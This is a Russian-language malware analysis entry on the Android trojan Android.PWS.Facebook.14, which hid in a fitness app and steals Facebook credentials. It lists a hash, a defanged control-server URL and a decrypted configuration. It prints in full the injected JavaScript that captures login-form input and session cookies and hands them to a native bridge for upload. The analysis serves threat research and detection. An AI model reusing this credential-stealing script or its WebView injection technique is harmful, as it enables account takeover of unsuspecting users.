SHA1:
- 903fcfba98f32b00badcec5976a4b401b994be7e
Описание
Троянская программа, предназначенная для работы на устройствах под управлением ОС Android. Ее главная функция ― похищение логинов и паролей от учетных записей Facebook. Данная модификация скрывалась в приложении Inwell Fitness из каталога Google Play, однако троян может распространяться и под видом другого ПО.
Принцип действия
При запуске Android.PWS.Facebook.14 запрашивает конфигурацию с управляющего сервера https://wap[.]inwellfitness[.]xyz.
Пример расшифрованной конфигурации:
{
"retCode":0,
"u":"https:\/\/www[.]facebook[.]com\/login[.]php",
"ds":1,
"dc":0,
"d":"function...;",
"aboutus":"http:\/\/fun[.]biugames[.]com\/vip628316[.]html"
}
где
- d ― поле, содержащее код JavaScript, с помощью которого троян крадет конфиденциальные данные жертв;
- u ― поле, содержащее URL-адрес веб-страницы для загрузки формы авторизации. При анализе троян получал настройки для демонстрации настоящей страницы для входа в социальную сеть Facebook https://www.facebook.com/login, однако также он может загружать страницы других легитимных сервисов и фишинговых сайтов.
При нажатии пользователем на любую кнопку в меню приложения Android.PWS.Facebook.14 проверяет наличие конфигурации, значение поля ds в ней, а также проверяет, были ли ранее сохранены логин и пароль пользователя в локальную базу данных. Если значение поля ds равно 1 и сохраненная пара «логин-пароль» отсутствует, троян предлагает жертве войти в ее учетную запись Facebook и загружает в WebView URL-адрес, расположенный в поле u. При этом перед каждой загрузкой URL в локальную базу данных сохраняются cookie текущей сессии, а также с задержкой вызывается функция uploadData.
После загрузки страницы в этот же WebView загружается JavaScript из поля d конфигурации:
function Logs(msg) {}
function exec() {
try {
var m = document.getElementById("email").value;
var p = document.getElementById("pass").value;
if (m.length <= 0 || p.length <= 0) {
return false
}
wb.a(m, p, "", "")
} catch (e) {
try {
var m = document.getElementById("m_login_email").value;
var p = document.getElementById("m_login_password").value;
if (m.length <= 0 || p.length <= 0) {
return false
}
wb.a(m, p, "", "")
} catch (e) {}
}
}
function login() {
try {
var loginFormObj = document.getElementById("loginform");
loginFormObj.getElementsByTagName("button")[0].addEventListener("touchend", function() {
exec()
});
loginFormObj.getElementsByTagName("button")[0].addEventListener("click", function() {
exec()
});
document.onkeydown = function(event) {
if (event.keyCode === 13) {
exec()
}
}
} catch (e) {
try {
var loginFormObj = document.getElementById("login_form");
loginFormObj.querySelectorAll("button[name^=login]")[0].addEventListener("touchend", function() {
exec()
});
loginFormObj.querySelectorAll("button[name^=login]")[0].addEventListener("click", function() {
exec()
});
document.onkeydown = function(event) {
if (event.keyCode === 13) {
exec()
}
}
} catch (e) {}
}
}
var testpclogin = /facebook\.com\/login\.php/i;
var testwaplogin = /m.facebook\.com\/$|m.facebook\.com\/login\.php/i;
if (testpclogin.test(window.location.href) || testwaplogin.test(window.location.href)) {
login()
} else {
setTimeout(function() {
Logs("=============111");
try {
Logs("=============22222");
var testurl = /facebook\.com\/bookmarks\/pages/i;
var testbmurl = /business\.facebook\.com/i;
if (testurl.test(window.location.href)) {
try {
var obj = document.getElementById("bookmarksSeeAllEntSection");
if (obj == null) {
obj = document.getElementsByTagName("iframe")[0].contentDocument.getElementById("bookmarksSeeAllEntSection")
}
if (obj != null) {
var len = obj.getElementsByTagName("li").length;
if (len > 0) {
wb.c(1, 1)
}
}
} catch (e) {
try {
var objs = document.querySelectorAll("div[class*='fdg1wqfs'][class*='lt9micmv'][class*='buofh1pr'][class*='j83agx80']");
if (objs.length > 0) {
wb.c(1, 1)
}
} catch (e) {}
}
} else {
if (testbmurl.test(window.location.href)) {
setTimeout(function() {
var testbmurl1 = /business\.facebook\.com\/home\/accounts\?business_id=[0-9]+/i;
var testbmurl2 = /business\.facebook\.com\/select\/\?next=/i;
if (testbmurl1.test(window.location.href)) {
try {
var adcount = document.querySelectorAll("div[adaccountid]").length;
if (adcount > 0) {
wb.c(2, 3)
} else {
wb.c(2, 1)
}
} catch (e) {
wb.c(2, 1)
}
} else {
if (testbmurl2.test(window.location.href)) {
wb.c(2, 1)
} else {
wb.c(2, 2)
}
}
}, 3000)
}
}
} catch (e) {}
}, 8000)
};
Скрипт содержит функции wb.a() и wb.c(), вызывающие код из троянского classes.dex с помощью JavascriptInterface.
Используя метод, предоставленный через аннотацию JavascriptInterface, функция wb.a() сохраняет введенные данные авторизации (пароль и имя пользователя) в локальную базу данных, при этом с задержкой вызывается функция uploadData.
Метод, доступный через вызов функции wb.c(), в коде исследованного образца Android.PWS.Facebook.14 отсутствует.
Функция uploadData читает данные из локальной базы данных. Она проверяет пароль, имя пользователя и cookie. Эти параметры не должны быть пустыми, а cookie должно содержать строку c_user. Если условия выполняются, то данные вместе с информацией о user agent кодируются в base64 и передаются на управляющий сервер.